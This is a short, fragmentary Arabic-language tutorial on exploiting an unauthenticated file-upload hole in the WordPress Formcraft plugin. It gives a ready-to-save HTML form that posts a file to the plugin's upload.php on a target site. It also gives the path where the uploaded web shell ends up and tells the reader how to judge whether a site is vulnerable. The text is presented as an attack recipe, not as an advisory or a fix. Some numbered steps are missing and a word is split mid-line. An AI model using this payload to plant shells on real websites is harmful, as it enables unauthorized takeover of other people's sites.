شرح استغلال ثغرة في سكريبت وورد بريس
Formcraft :الاضافة
نحفظه بصيغة html نشوف كيفية معرفة الاصابة في الموقع الصفحة بيضاء ==> الموقع ليس مصاب توجد ايضا مواقع مصابة لكن لا تقبل رفع ا
لشل مثل هذا الموقع الموقع لم يقبل رفع الشل
3)- Your Accses Shell / File : wp-content/plugins/formcraft/file-upload/server/php/files/[randomcode]nameshell.php
4)- الاستغلال : <form method="POST" action="target.com/wp-content/plugins/formcraft/file-upload/server/php/upload.php" enctype="multipart/form-data"> <input type="file" name="files[]" /><button>Upload</button> </form>